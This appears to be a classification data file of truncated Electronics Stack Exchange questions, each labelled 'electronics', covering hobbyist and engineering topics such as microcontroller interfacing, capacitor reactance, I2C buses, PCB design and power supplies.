",['electronics'] "Title: Best development board for cmos camera project [closed] Body: I want to interface a high definition (best quality) cmos camera with a development board. I have use arduino, raspberry pi and pic microcontrollers for some projects in the past but i dont know a ... ",['electronics'] "Title: Calculate EMVA1288 temporal dark noise Body: Say I have a dark current plot (image mean over shutter time) with an offset (y-intercept) of 4100 and system gain K = 4.23, is the following calculation correct? Variance of dark signal = sqrt(4100) ... ",['electronics'] "Title: At what frequency will the reactance of a 1μF capacitor equal to the resistance of a 2kΩ resistor? Body: Here is my work: \$ R = 2000 \Omega\$ \$ X_L = 2 \pi f L = 2 \pi (1 \mu F) f = 6.28\mu F(f)\$ \$f = \dfrac{2000 \Omega}{6.28 \mu F} = 318.471MHz \$ Does this look right to everyone? ",['electronics'] "Title: Is there any possibility of dissecting a microchip to get data from its internal memory? Body: There are many devices that perform various cryptographic operations inside their microchips. One of their key feature is that the secret keys are stored inside of the hardware and never leave it. ... ",['electronics'] "Title: Circuit Simulator for sampled Input Body: I would like to be able to capture a signal from my DSO and run it through a simulator to allow me to develop a simple analog preprocessor for a brushless motor speed sensor. Please correct me if I'm ... ",['electronics'] "Title: Variable Frequency on AVR Chip? Body: I am looking at programming an AVR chip as a possible avenue due to some problems I'm having with 555 circuitry, but I need to be able to adjust the frequency on the fly with a pot. Is it possible to ... ",['electronics'] "Title: Integrator and differentiator - op-amps vs. RC networks Body: Integrator and differentiator circuits can be made using an op-amp: and a simple RC network:. Is one better than the other? What are the differences between the two, if any? ",['electronics'] "Title: Public domain books/ content? [closed] Body: Where can I find public domain lessons/content for electronics& topics like Ampere, Voltage, Ohm, basic circuits? EDIT I need the content to create lessons and publish them on my electronics ... ",['electronics'] "Title: Understanding “Leading/Lagging” and “Phase Shifting” with Sinusoidal Functions?! Body: INTRODUCTION/QUESTIONS: I'm reading through a chapter on sinusoidal alternating waveforms and I'm having some difficulty in the section on Phase Relations. The generic expression is mentioned below ... ",['electronics'] "Title: High voltage DC power line for batteries Body: I am planning to install a photovoltaic plant of 1000Wp on the roof that puts into 10×12V batteries in series to have 120V. This way can guarantee a low section of the cable, if I had a 12V power line ... ",['electronics'] "Title: How to modify this circuit to transmit shortwave radio Body: Here is a simple beep transmitter at 27 mega hertz. How can I modify this to transmit at a lower frequency so my friend with a ham radio can hear it. Also how can I build / where can I get the ... ",['electronics'] "Title: Making a K type thermocouple Body: It has been said that a K type thermocouple is just 2 wires of different types twisted together (basically). If this is so then can such a thermocouple be made with a copper and steel wire twisted ... ",['electronics'] "Title: Multiplex two I2C ICs into four 7 Segment displays Body: I currently have two PCF8574AN I2C 8-bit IO expander ICs. Is there a way I could have two seven segments be driven off one IC (So i could run four seven segments displays off the two ICs that I have). ... ",['electronics'] "Title: Difference between Ethernet and USART? [closed] Body: As i made literal study about protocols, I came across lot of protocols and there differences but i'm not sure of what is the major merits of Ethernet over USART. lots of websites explained about all ... ",['electronics'] "Title: TLP280-4 Optocoupler on 12/24V inputs Body: There is a STM32 device which has to detect several signals from other devices. The voltage of these signals can be 12V or 24V. Also these signals can be positive (i.e. 12/24V) or negative (connected ... ",['electronics'] "Title: How to resolve this :Arduino UNO not working with Arduino wifi shield? Body: I'm having a lot of issues regarding interfacing an Arduino wifi shield with the Arduino Uno. My Arduino works fine when the shield is not attached to it but when I attach the shield, I'm unable to ... ",['electronics'] "Title: Pipeline question Body: I'm having trouble with this question. Assume a 5-stage pipeline and a 200 picosecond clock time. what is the time required to execute one instruction? assuming the pipe is kept full, ... ",['electronics'] "Title: Desulfation and High Capacity Charge Frequencies for Lead Acid Body: I realize this is a total shot in the dark but it doesn't hurt to ask. Most of the experimentation that has been done in this area is highly guarded by individuals hoping to pull a ton of loot from ... ",['electronics'] "Title: Logic Circuits Vs Transistor Power Circuits Body: I have need to invert a signal to drive fets with hard/fast rise and fall times. I was told in another thread to use an inverter (NOT chip). This makes perfect sense to me since logic chips are ... ",['electronics'] "Title: interfacing a transducer to a pic16f877a Body: I have a pressure transducer with an out put of 4-20mA and having problems in interfaceing it with a pic16f877a micro-controller ",['electronics'] "Title: what kind of adders and multipliers architectures are used in IEEE.numeric_std.all Body: hi every bod y i would like to know what kind of adders and multipliers architectures are used in IEEE.numeric_std.all ",['electronics'] "Title: Assignments with after and signals Body: I am trying to understand how assignments with 'after foo' work, so I read about the delay model and simulated the following code: ... ",['electronics'] "Title: Elliptical board edges in KiCAD or CircuitPro? Body: I am trying to use KiCAD to design a PCB which must fit into an existing case. One side of the PCB needs to be shaped as a specific elliptical arc segment. I can figure out the parameters of the ... ",['electronics'] "Title: Inductor equivalent of capacitor's charge Body: Because inductors share similar equations in their charging/discharging cycles, I am wondering if inductors have something like charge. Capacitors have capacitance and charge while an inductor has ... ",['electronics'] "Title: How to send ASYNC 8,N,1 serial data over an SPI interface using two Arduino Uno boards Body: Need help with sending ASYNC data between two Arduino UNO R3 micro-controllers. System design follows: RS232 modem 19,200,8,N,1 --> UNO-1 D0=(rx), D1=(tx). RS232 parameters cannot be changed because ... ",['electronics'] "Title: VSWR measuring, directional coupler Body: I may need to measure reflected power from some PA at 868 MHz with a maximum power of 5W and there are readily available SMD directional couplers to buy. However, I found only 90 deg. couplers on ... ",['electronics'] "Title: OpenCL for Altera FPGAs Body: Recently I have been quite interested in OpenCL of the Khronos Group, and already gained some experiences with the language. I'm excited to know that OpenCL now works with Altera FPGA. ... ",['electronics'] "Title: Most efficient way to select between 10 large buses? Body: I need to select between 10 different 164-bit buses using four-bit BCD (8421, unsigned binary). What is the most efficient way to do so? Currently I have the following SystemVerilog implementation ... ",['electronics'] "Title: Error While trying the program my ATMega16a with extreme burner Body: Whenever, i want to burn the hex file on my chip, always an error message appearrs, Power On Failed Cannot communicate with target chip The programmer i am using is AVR USB programmer, ... ",['electronics'] "Title: Arduino AnalogWrite and its frequency and effectiveness Body: Reading about the arduino analogWrite function I have come to understand that it uses PWM for the variable DC voltage. (by controlling the width of the pulse) However how do we control the frequency ... ",['electronics'] "Title: Do I have to keep an AGM battery on float charge 24x7? Body: I have a 50 Ah AGM battery that I use rarely (lighting during power failures, off grid camping, etc) - I use it a few times/year. To prolong the life of the battery, do I need to keep it on a float ... ",['electronics'] "Title: Why UPS for sensitive SMD development? Body: My friend suggests me UPS for SMD development. I already have a a surge protector over all devices. He recommended the UPS that transmit all energy through its battery and he recommend to find some ... ",['electronics'] "Title: How can a simple operation such as moving data from one register to another can be encoded into an instruction and executed in a single clock cycle.? [closed] Body: The simple point I'm trying to make for an essay Im writing. I'm completely at a loss as to how to answer this. Any help available? Sorry, I know this is not a well formed question but I've got no ... ",['electronics'] "Title: Why do my outputs look exactly the same for the Allegro 3901? Body: I am trying to capture results shown in Figure 8 of Allegro 3901 data sheet . My circuit looks like this: The channels above coresspond to the oscilloscope screen captures below: In the image ... ",['electronics'] "Title: Diagnosing and programming car/bike ECU's [closed] Body: I want to learn how to do this. I am interested in a universal programmer (if that exists). Is there a machine (or laptop program) that i can connect to all cars and bikes and diagnoses problems on ... ",['electronics'] "Title: Looking to get started with ARM microcontroller development on Linux [closed] Body: I am looking to get started in developing for ARM microcontrollers on Linux. Keep in mind I really enjoy the low level. Right now I have some experience with PIC16F series and 8 bit AVR. This is on ... ",['electronics'] "Title: TinyGPS library doesn't update GPS data when using Arduino ADC Body: I have a problem where I am using TinyGPS library to get NMEA data from a GPS, while also sampling the ADC at the same time. The problem is that it reads the ADC fine, but it seems to execute the GPS ... ",['electronics'] "Title: New alkaline batteries with 10-year shelf life—what's changed? Body: I'm finding that some new alkaline batteries, such as the new Duracell Duralock and Energizer Power Seal batteries, have a shelf life of 10 years. Most other alkaline batteries have a shelf life of 7 ... ",['electronics'] "Title: Design 8X1 MUX with enable using three state buffers and any logic blocks you need Body: I have no idea where to start. I know how to create a MUX but how can I create it using three state buffers ? ",['electronics'] "Title: Voltage regulator too hot to touch [duplicate] Body: I'm working on an RGB LED project. I'm using this as the power supply: https://www.sparkfun.com/products/114 It uses an LM317 which according to the data sheet can supply up to 1.5A. The LED's I'm ... ",['electronics'] "Title: Can I use Sn only solder for PCBs? Body: I bought the Raspberry Pi cobbler kit a while ago, and I needed to solder a part together. The local hardware store (Useless ACE) only has a specific solder, which has just Sn, a diameter of 1.0mm and ... ",['electronics'] "Title: Detached antenna and connecting wire length Body: Since my this particular question didn't get any answer, I thought of asking a more focused question, along a path which seems a bit more feasible after few tests. Is it possible to install the ... ",['electronics'] "Title: Is NRTL approval required for the sub components I purchase and assemble into a final product in order to sell the product in USA? Body: I manufacture a lighting product made up of components I purchase and then assemble into a housing and heat sinks that my company manufactures. The components I assemble include an electrical driver/ ... ",['electronics'] "Title: Can the Signal from a Coaxial Cable be Transmitted via Bluetooth? Body: If so, can the coaxial signal be maintained without degradation (think inserting a transmitter in the middle of a coaxial connection to relay that signal wirelessly without actually interrupting the ... ",['electronics'] "Title: How to deal with multiple pull-up resistors on modules Body: I was thinking about doing a modules for a development board I did a few days ago that will include spi/i2c interfaces. The problem is that I didn't included pull-up resistors in the MCU pins in the ... ",['electronics'] "Title: How to explain the results from different block sizes? Body: I vary the D-cache block size for a program. I test different block sizes for the D-cache, block sizes from 1 to 8. Size = 128 words, and blocks in sets (associativity) = 1. ... ",['electronics'] "Title: Storing info bytes in ATmega169PA that remain after reprogramming Body: Does anyone know if there is a way that I can store 2 bytes of data into an ATmega169PA that will survive re-programming of the device? I would like to store a unique ID into an ATmega169PA that will ... ",['electronics'] "Title: 14 Layers Stack-up proposal Body: Could be this stack-up correct/appropriate for a 14 layer pcb? The PCB includes a CPLD at 50 MHz and a Gigabit Ethernet transceiver at 125 MHz. Both mounted in Primary Component Side. There are 4 ... ",['electronics'] "Title: Antenna signal through category 5 cable Body: Can an antenna signal (from an antenna cable) be transfered along with an ethernet signal through a category 5 cable? Will I lose too much signal quality? Antenna specification: ... ",['electronics'] "Title: Minimizing Logic in a Spartan-6 for a Game of Life Cell Body: While trying to learn FPGA programming, I've decided to implement a massively parallel game of life. Here's my first attempt: ... ",['electronics'] "Title: Three-prong / USB power outlets in wooden desk [closed] Body: I am trying to mount a strip of three-prong outlets and a strip of USB charging outlets on an old wooden desk. I can handle the carpentry aspect, but I am struggling with the electrical aspect. I ... ",['electronics'] "Title: What is the reason that the value “47” is so popular in electrical engineering? Body: We often see component values of 4.7K Ohm, 470uF, or 0.47uH. For example, digikey has millions of 4.7uF ceramic capacitors, and not a single 4.8uF or 4.6uF and only 1 listed for 4.5uF (specialty ... ",['electronics'] "Title: Which programmer can be used with Matrix flowcode programming package? Body: I am trying to progam AVR chips using Matrix Flowcode package. Does anyone know which programmer can directly be interfaced with it? ",['electronics'] "Title: ARM Linux and UBoot - Can I make a read-only MTD writable? Body: I have several embedded Linux devices installed at customer sites. We have an updated Linux kernel we are prepared to deploy to these devices. The problem is that on these devices, the U-Boot ... ",['electronics'] "Title: Correct AMPS & volts for DC motor controller Body: I'm definitely an amateur hobbyist, but I need to fix something for a friend. I have a existing DC motor and the controller is shot. The motor is rated at 0-90 VDC (5Amps) I wanted to see if this ... ",['electronics'] "Title: Do I need a RTOS? Body: My hardware would have a DSP with the following characteristics: Sound generation (internal parameter will generate pure tones, white noise, filtered white noise or the sum of them). I2C ... ",['electronics'] "Title: How to calculate the modulation register for MSP430 UART? Body: I'm using a MSP430F5529 clocked at 1 MHz and want to use the UART at 9600 bauds. So far I did: ... ",['electronics'] "Title: What is the welding technique heater manufacturers use to connect nichrome wire to copper terminals Body: I have made hundreds of very reliable nichrome to copper connections using a torch and silver solder (brazing). Due to the high cost of silver I would like to investigate the welding process that ... ",['electronics'] "Title: mobility scooter battery charger Body: I have a mobility scooter that I put a Raspberry Pi and Arduino on to make a robot. I left all the original electronics in place so I didn't have to buy a motor controller. I was able to charge the ... ",['electronics'] "Title: avrdude error - stk500_getsync(): not in sync: resp=0xff Body: I am using my Arduino Uno as a programmer to program my ATtiny85. I uploaded the ArduinoISP sketch to my Uno. I double checked my wiring, did some googling, but I still can't figure out why I get this ... ",['electronics'] "Title: how to select capacitor values Body: I am trying to find information on formulas used to calculate capacitance required for a given circuit. Not a circuit in particular, just in general how to figure out what value should be used. I know ... ",['electronics'] "Title: Simplest AVR programmer Body: I recently fried my AVRISP MKII programmer, so I am looking for a new programmer. What is the best AVR programmer according to the following criteria: Out of the box use Works well with Ubuntu Easy ... ",['electronics'] "Title: If we could start our electrical grid from scratch with today's technology, which would be the most efficient choice? AC or DC? Body: Lately, I’ve been reading about the many advantages of HVDC transmission systems for long distance transmission, undersea links, and others. The historical reason of why AC was picked over DC was ... ",['electronics'] "Title: PWM npn sinking signal Body: I have a stepper motor(with STR2 Step Motor Drive) which needs npn sinking signal to operate. dsPIC33EP512mu810 is capable of generating high resolution pwm. However, the PWM signal can only turn on a ... ",['electronics'] "Title: Why can't a power supply supply low current? Body: I've just read this article and don't quite understand how a power supply can't supply such a low current. I was always under the impression a power supply could supply anything up to its rating, but ... ",['electronics'] "Title: How can anyone use a microcontroller which has only 384 bytes of program memory? Body: For instance a PIC10F200T Virtually any code you write will be larger than that, unless it is a single purpose chip. Is there any way to load more program memory from external storage or something? ... ",['electronics'] "Title: Does it make sense to plot the angle in an signal spectrum analyzer? Body: I've built a toy oscilloscope with an Arduino, acquiring the samples with the ADC and plotting the spectrum on my computer. The spectrum is the output of the FFT algorithm. You can see a video here of ... ",['electronics'] "Title: Phase locked Loop in Demodulation Body: Can someone please clarify how a PLL works and how it can the result is used to deduce phase? My understanding is that a PLL is used to demodulate in situations when the demodulator knows the ... ",['electronics'] "Title: How to etch finely-packed SMD boards? Body: I have tested HCl+peroxide etching with the light/transparent for SMD but it is very easy to get lines broken -- even though I had blue liquid and a proper etching equipment that I could monitor. I am ... ",['electronics'] "Title: Connecting the RESET pin of AT8051 Body: How should I connect the RESET pin in a microcontroller (AT8051), and why in that particular way? ",['electronics'] "Title: Digital bargraph display driver circuit Body: .For a project I need to display a progress bar of the activity performed by my MCU. For this purpose I am going to use a bargraph display, but the problem is that bargraph display driver driver ... ",['electronics'] "Title: How can I find the voltage rating for a particular ceramic capacitor? Body: I have an old tube radio. There is a ceramic cap with:""RMC / 0.1 / 1400V / Z5U "" written from top to bottom, respectively. Now, this cap has broken at it's base and can't be resoldered and so must be ... ",['electronics'] "Title: HC-05 Bluetooth module not recognized by mobile phone Body: Its a bit weird whats its happening with the bluetooth module. Aparently it works perfectly, it gets recognized bt my desktop computer and my laptop, but never gets listed on my mobile phone. I've ... ",['electronics'] "Title: LED power supply reverse connected? [closed] Body: i have my 100 w - 220v AC to 12v DC LED power supply , and i connected the 220v AC line to the +VDC and the 220v AC Neutral to -VDC, i know i seem to be a dump for you. but i hope if someone can help ... ",['electronics'] "Title: List of LM Integrated Circuits? Body: Does anyone have / know of a list of all the LM integrated circuit packages available? The EE stockroom at my university recently reorganized and they cataloged several pages of part numbers without ... ",['electronics'] "Title: relationship between modulation index and carrier-suppressed condition in fm Body: What is the relationship between modulation index and carrier-suppressed condition in FM. What should the modulation index be when the carrier is suppressed in FM? ",['electronics'] "Title: Determining a suitable Power Supply for a Light Body: I have an old multi-coloured LED lighting system, but sadly I have lost the power adapter to it and there are absolutely no markings (exterior or interior) whatsoever, so I am trying to figure out the ... ",['electronics'] "Title: FM Quadrature detector - is it the best choice Body: My input is an FM carrier of 80.00MHz. It is FM modulated with 625kbpsec data. The deviation from carrier is about +/-700kHz. The data never spends more than about 38us in a low state or high state ... ",['electronics'] "Title: What is the cap for in Arduino reset circuit? Body: My Arduino AtMega328P board has this circuit for reset. I understand the switch (LTSpice didn't have a switch symbol) pulls the line low, thats obvious, but what does the cap do when reset comes ... ",['electronics'] "Title: How to understand the SR Latch Body: I can't wrap my head around how the SR Latch works. Seemingly, you plug an input line from R, and another from S, and you are supposed to get results in Q and Q′. However, both R and S require input ... ",['electronics'] "Title: I2C on explorer 16 board not working Body: I am using the Explorer 16 Board for building a Accel connected by I2C . Currently I have only the I2C part done and I am trying to tap scl1 & sda1 using oscilloscope. The accel has to connected ... ",['electronics'] "Title: Pairing to a module containing multiple Bluetooth units Body: I’m working on a project where a module is suppose to stream an audio signal to multiple receivers via Bluetooth. To be able to connect more than 7 units to this device, I thought of using three ... ",['electronics'] "Title: Altium: Harness as output of MultiChannel block Body: I'm designing a schematic containing a MultiChannel block. I would like to use a Harness with outgoing signals as port. If I use a single wire, I get a bus at the output. This is clear. But how can I ... ",['electronics'] "Title: Circuits newb needs someone to help with a diagram Body: I'm trying to build an OBDII circuit for a STN1110 chip from OBD Solutions. My problem is I don't understand some of the values needed. For instance, the datasheet has most of the information I need, ... ",['electronics'] "Title: Multichannel design in a Multisheet hierarchy project (Altium) Body: I'm working on another design that has multiple channels for a few circuits with in a multisheet design in Altium Designer. I have a top sheet that contains all my sub systems as sheet symbols. One ... ",['electronics'] "Title: Processor - L1 Data cache interface Body: Sorry if the following looks like a very specialized (or programming) question, but I'm hoping there are people on this forum who have done VHDL/Verilog modeling, and might be able to answer: I'm ... ",['electronics'] "Title: Are AC adapters electrically isolated? Body: are the ac adapters e.g. laptop charger ; are they electrically isolated ( from ground ) because they have a transformer . Im asking this because i read that isolated transformers are 1:1 ratio where ... ",['electronics'] "Title: A simple usb controlled switch Body: I'm not really a hardware guy but I am thinking that this might be a simple build. With some guidance. Basically I want to hook a physical button switch to a controlled one for my camera. So that I ... ",['electronics'] "Title: High power pulse generator Body: I'm designing a relatively high power pulse generator. Basically I have a microcontroller generating a clean square wave (0-3.3 V or 0-5 V) which then goes into my amplification circuitry. I want to ... ",['electronics'] "Title: How to wind a toroid for 170 uH Inductor Body: I am planning on buying a toroid core from Digi-Key. I want to be sure that this is the right type and that I can achieve 170 uh inductance with 22-18 AWG wire. How can I wind this and what is the ... ",['electronics'] "Title: Is it OK to have data lines and AC in the same multicore cable? Body: I need to provide the following over sections of 1m multicore cable, totaling around 15m. 240v AC 5v DC GND RX TX Will the AC cause problems for the Serial data? ",['electronics'] "Title: how to vary the threshold voltage of a MOSFET for simulation in LTSPICE Body: I have a MOSFET circuit with multi-threshold voltages. I am using TSMC MOSFET with 180nm technology. How to specify these voltages in LTSPICE for simulation. Please help. ",['electronics'] "Title: Communicating an Arduino with a Data logger Body: I need to communicate a Sharp Dust sensor to a Data logger for a weather station project. It was straight forward to communicate other sensors (wind, temperature) as they were ready calibrated from ... ",['electronics'] "Title: 74 Series Logic Power switching with Gnd? (74Hc86) Body: I'm trying to cut power to the chip to ""disable"" all outputs without needing to know the input values or changing them. What happens if I use a NPN transistor to let the GND pin float and pull it to ... ",['electronics'] "Title: Dirt cheap 3-12v DC/DC isolatior chip? Body: I'm creating a box that will have an external TTL trigger. I want to isolate my box's power/ground from that of the triggering device. Obviously, an optoisolator is the way to go (eg. PS2502). ... ",['electronics'] "Title: Arduino with FTDI cable - USB port error Body: This is my first time using FTDI with Arduino. I'm using the SparkFun EL Sequencer which uses and embedded ATMega328p. I hooked it up to my USB port using this FTDI cable. When I try to upload my ... ",['electronics'] "Title: Simplest device for mini operating system Body: I have been developing an operating system off of this video and I want to begin building a device to support this os. All it really does is print to the screen. I want to build a small device with an ... ",['electronics'] "Title: USB 2.0 PCB trace design restrictions Body: Thanks to the help from this community I am much closer to finishing my new design. Right now I am most worried about my USB 2.0 traces, and I want to make sure that I am doing everything right with ... ",['electronics'] "Title: AC to DC power supply [closed] Body: I am trying to make an AC to DC supply to run my motors, motors needs 12 to 24 volt and 1.6 amp current. So i used a transformer(output 12 volt, current 1.5-1.8 amp) ,then a full wave bridge ... ",['electronics'] "Title: Getting Right parts and building ZVS flyback correctly Body: I recently built a 555 timer flyback driver. I used 2 IRFP450 MOSFET's in parallel to drive it and I got pretty good arcs. Something always seemed to fail, and I always was buying another 555 chip or ... ",['electronics'] "Title: Laplace Relation to Capacitors and Inductors Body: Can anyone recommend a good resource to understand how a capacitor works as an integrator and an inductor works as differentiator? I'm looking for something to show me how the laplace transform comes ... ",['electronics'] "Title: closed loop DC motor velocity control Body: I'm trying to set up a closed loop control for the velocity of a DC motor. I have a small DC motor with an 8bit encoder. I'm driving the motor using PWM off an arduino and a L298N h-bridge. Here's ... ",['electronics'] "Title: Light bulb exploded [closed] Body: This morning, one of the lights in my house began to flicker. I didn't think much of it, and left the room to get a drink. While I was in the other room, I heard a bang, and came back to find broken ... ",['electronics'] "Title: local/bench earth leakage for testing mains electronics Body: I sometimes find myself testing switch mode power supplies and such that I have repaired, and often some undetected fault causes them to trip the earth leakage breaker on the distribution board when ... ",['electronics'] "Title: PIC18 Robot - Travelling exact distance straight using two wheel encoders problems Body: (EDIT: Added TMR0 & TMR1 set-up code) I have a small robot vehicle controlled by a PIC18f4585. It has two wheels (ball bearing on the front) as well as two rotary encoders. The following ... ",['electronics'] "Title: Synchronous DC-DC converter and fast diodes Body: I'm a bit at a loss when trying to optimize a DC-DC converter (Half Bridge) and selecting my MOSFETs. Up to 200V I get good results (MOSFET switching times are fast ~ 20ns and the anti-parallel diode ... ",['electronics'] "Title: What is the origin of the “r” in resistance measurements? [duplicate] Body: In a post to the diyaudio forums, www.diyaudio.com/forums 67232, I see terminology that are likely to be measurements of resistance: ""0r1"", ""1r0"", and ""10r"". I am thinking the ""r"" there means a ... ",['electronics'] "Title: How to wire a 12V DC fan to a Molex connection? Body: I have a 12V DC fan with two wires (black and red). I want to solder it to a Molex 8981 connection (powered by an ATX power supply). Here are the details for the connection: I'm guessing the fan's ... ",['electronics'] "Title: DRO scales 4-pin connector identification Body: I've purchased some scales for use with a mini milling machine and the open source DRO-550 digital readout platform. They are essentially equivalent to permamenet mount digital vernier calipers so ... ",['electronics'] "Title: Testing an automotive relay with a diode Body: How is it possible to test an automotive relay to determine that the flyback diode is not shorted or open? ",['electronics'] "Title: what is the purpose of this three coils and switching leaver Body: I found a strange device on my junkyard, And it seems like it have made to work with three phase. But there is an strange thing that I could not understand. That looks like this. and that ... ",['electronics'] "Title: How do I find companies that would build prototypes for me? [closed] Body: Im asking since I have projects that I would like to test, but honestly have little to no time to do this myself. Particularly since I've never even welded since I was a kid. I just need to know how ... ",['electronics'] "Title: A basic question about oscilloscope probes Body: I have recently acquired a Tek 460A scope and a mixed bag of oscilloscope probes. I have a very basic question about the probes: One of the probes is a Tek P2200. This is a 1X/10X switchable probe ... ",['electronics'] "Title: Why pic18fxxx microcontrollers is better for C language Body: Pic18fxxx family has a lot advantages and improvements from the pic16fxxx family of microcontrollers. What is the particular feature that make them better for C programming than the pic16fxxx devices? ... ",['electronics'] "Title: Load Cell Amplifier AD620 Body: I know AD620 is an old part but it is available at my place. I intend to develop a Load Cell amplifier. Load cell is 2mV/V. I am planing to use AD620 for it. Following are my calculations: ... ",['electronics'] "Title: How to make your own EL Wire (electroluminescent wire) inverter Body: I would like to make an EL wire (electroluminescent wire) inverter because I can't seem to find a commercial inverter that can drive the right length of wire from the batteries I would like to use: ... ",['electronics'] "Title: Implications of INL on the accuracy and resolution of an ADC Body: I was trying to understand the meaning of various specs given in a typical ADC datasheet, and I came across this article. Now, if I understand correctly, it seems to me that the accuracy of the ADC in ... ",['electronics'] "Title: Connecting a simple device with my secured home wifi Body: I am planning on building a simple device, which retrieves information over wifi. The device shall be as cheap and simple as possible, so it won't have a keyboard or a display. My question is: What ... ",['electronics'] "Title: Real time location sensor for following a kite in the air Body: In search of a new project I decided I want to build a kite which I can fly using my computer. For this I need a couple of things: a kite, an electro motor to steer the kite, and also a way for the ... ",['electronics'] "Title: Which tool do I have to use for wire connector? Body: I want to make the wire connector as the screen below. What tool do I need to use and how can I make it? ",['electronics'] "Title: Simple PIC18 USART Interrupt not working Body: Edit So talking to the duck and some more searching here seems to have solved it. On power on and reset, ports are set to be analog. I now disable this in my setup. It was a problem between this ... ",['electronics'] "Title: How does one compute the ripple currents seen by a boost converter output capacitor? Body: Suppose one is designing a boost converter, with a known maximum current load, and a known inductance: The ripple current seen by the output capacitor is critical. If that current is too high, the ... ",['electronics'] "Title: How to switch light on by standing on a mat Body: I'm working on a project for school. And I have this dance matt. As long as you stand on that matt the light should go on and stay on until you step off the matt again. But I have no idea how to make ... ",['electronics'] "Title: SainSmart 5V 4 Channel Relay momentary switch Body: Hey all i am wanting to hook this relay up here: What i am wanting it to be hooked to (output) is the pwr and reset switch on a PC motherboard to act as a momentary switch: I am also wanting to ... ",['electronics'] "Title: Meaning of a small rectangle in schematic drawings Body: What is the meaning of the rectangle at the top of this schematic? ",['electronics'] "Title: Is Rg, calculated in the linked PDF calculating the pulldowm/pullup resistor for a MOSFET gate? Body: I stumbled upon the following paper while looking for ways to calculate a specific value for the pullup/pulldown resistor for the gate of a MOSFET. I see several calculations for Rg. Is that the ... ",['electronics'] "Title: Driving EL wire from button push on a gamepad Body: I have a homemade arcade controller which uses a USB gamepad board. I would like to add some EL wire to it such that when a specific gamepad button is pushed it lights up the EL wire. The Gamepad ... ",['electronics'] "Title: RE: USART @115200 on PIC18 explorer (PIC18F8722) Body: I have tried to initialise UART1 and communicate with a PC with no success @115200, as the SPRTG register, which needs to be 4.4253, cannot be so without introducing a large error. The board has ... ",['electronics'] "Title: Arduino Ethernet not visible in Router Status Body: Hey all i am trying to send over my code to my Arduino Ethernet board via the Adafruit FTDI friend. I am using the 1.0.4 version of the IDE and have the following settings: Tools -> Board -> Arduino ... ",['electronics'] "Title: Eagle: Single Pad with multiple Pins Body: I do have a chip where a pin can have multiple functions depending on the circumstances*. For clearness I'd like to have multiple pins in my symbol which all map to the same physical pad. The other ... ",['electronics'] "Title: Thermostat Connections with Arduino Body: I want to control my home thermostat using an Arduino microcontroller. From what I've heard, it is pretty straightforward as the Arduino can be powered through the 24V that is coming to the thermostat ... ",['electronics'] "Title: Using Audio Input of computer as Oscilloscope for Hobby Electronics Body: I just discovered an app for mac that uses the Audio Input of the computer and the AD-converter in the sound card as an Oscilloscope. First, I was thinking this can't work... but theoretically, it's ... ",['electronics'] "Title: Nonblocking simultaneous assignments to wires and registers in Verilog Body: I am interested to write Verilog module which simultaneously will update several outputs Something like following code, makes 3 operations at the same time (clk 10): ... ",['electronics'] "Title: low pass filter design for accelerometer Body: I find the following code for a simple implementation of a low pass filter. #define alpha 0.1 accelX = (acceleration.x * alpha) + (accelX * (1.0 - alpha)); I have been experimenting with the value ... ",['electronics'] "Title: i2c bus capacitance Body: It is given in philips i2c specification that maximum number of devices connected to the bus is limited by bus capacitance.There is formula specified for pull up resistor but there is no formula to ... ",['electronics'] "Title: HELP Please WIFI I just need a question Body: Basically I am trying to make a Wifi Receiving Boost of Some sort but Lack the knowledge on some things. This is a couple ideas I've had.... Strip the wire down on a usb cord and connect the ... ",['electronics'] "Title: Communicating via USART with an AVR - Input Buffer? Body: I am currently building a robot (as some of you may know from my previous questions). The current task I a dealing with is that of communication. To keep things simple, assume I have 5 commands to ... ",['electronics'] "Title: Wiring an illuminated toggle switch Body: I'm trying to build a model rocket launcher circuit. So far I have this The igniter requires 12V and 3A, BAT1 is 12.6V 9800mAh. The arduino input pin should read HIGH when the igniter is connected ... ",['electronics'] "Title: Why does my PSU die everytime I test with multimeter Body: I've set up my PSU to use as a ""lab power supply"", I'm trying to obtain 12 Volts at 14 amps. I have the red, orange, yellow, black wires separated, and connected the green wire to ground to keep the ... ",['electronics'] "Title: Can you damage an iPhone by charging it using a (homemade) solar panel? Body: I found a guide online that shows how to make a solar phone charger (in a bottle), and I thought I'd try it out, but I'm worried about damaging my iPhone 4 (for a school project). (If anyone's ... ",['electronics'] "Title: Using a MSP430G2553 and PCF8574 expander to drive an LCD with HD44780 controller Body: I´m using a MSP430G2553 and PCF8574 expander to drive an LCD with HD44780 controller, through I2C communication. Obviously, the MSP430 is the master and the PCF is the slave. I generate the start ... ",['electronics'] "Title: Lighting relay(?) with 220V leakage insensitive coil Body: Existing staircase lighting time-automat can not use 220V neon mini-bulb or LED lighted make-contact buttons. - These convenient buttons cause it t false-start (as if pressed) due to their ... ",['electronics'] "Title: Role Of Emitter (By Pass) Capacitor Body: What is the importance of Bypass capacitor of Common-emitter amplifier? Will the gain be reduced when it is removed? ",['electronics'] "Title: Will checking the backup voltage on an RTC drain it's backup battery? Body: I'm working on an ATMega project that will be keeping time and I'm trying to make it so you have an option of either software time (millis() based), DS1307, or DS3231 (ChronoDot) RTCs. At the most ... ",['electronics'] "Title: Why cable TV frequency range ends at 1 GHz? Body: Currently frequencies 50-1000 MHz are allocated for TV and data transfers. I understand why there are limitations for aerial or satellite transmissions, but why are they retained for cable ... ",['electronics'] "Title: Emitter Resistance in BJT Amplifier Body: What is the importance of resistance at emitter and collector of BJT amplifier? What will be effect on output if they are removed? ",['electronics'] "Title: Maximum LEDs on a matrix Body: There are several methods to drive LEDs using a microcontroller. The easiest method is just connecting all LEDs to an own pin on the microcontroller. Say you have \$n\$ pins available, you'll be able ... ",['electronics'] "Title: Power supply for speakers [closed] Body: I have two big speakers with only bare wires for input and a small alarm clock with a low voltage output. I was wondering how I would supply more power to the speakers (there are two of them)? I was ... ",['electronics'] "Title: Interesting 100Mbit Ethernet failure Body: I have a PCB designed using both 10Mbit and 100Mbit Ethernet, I have produced 100 boards 97% of which work perfectly (both 100Mbit and 10Mbit). On 3% of my boards the 10Mbit operates all the time, but ... ",['electronics'] "Title: i2c bus electrical specification Body: Rise time and Fall time of both SDA and SCL signals are given as 20 + 0.1Cb ns in I2C bus fast mode electrical specifications version 2.1. Cb is bus capacitance and units in picofarad. How do the ... ",['electronics'] "Title: what is 555 Timer? [closed] Body: what is timer 555 ?? can any one give me some links which talk about this topic ? or some references ? or texts ? how can we use this kind of timer ? how to create it ? any information will be ... ",['electronics'] "Title: Digital Compass identifying direction of travel for use with trains Body: I work in a control center for a train company in the UK. Our trains work in either direction but only one end has first class carriages. Because trains on our network reverse quite a lot it is ... 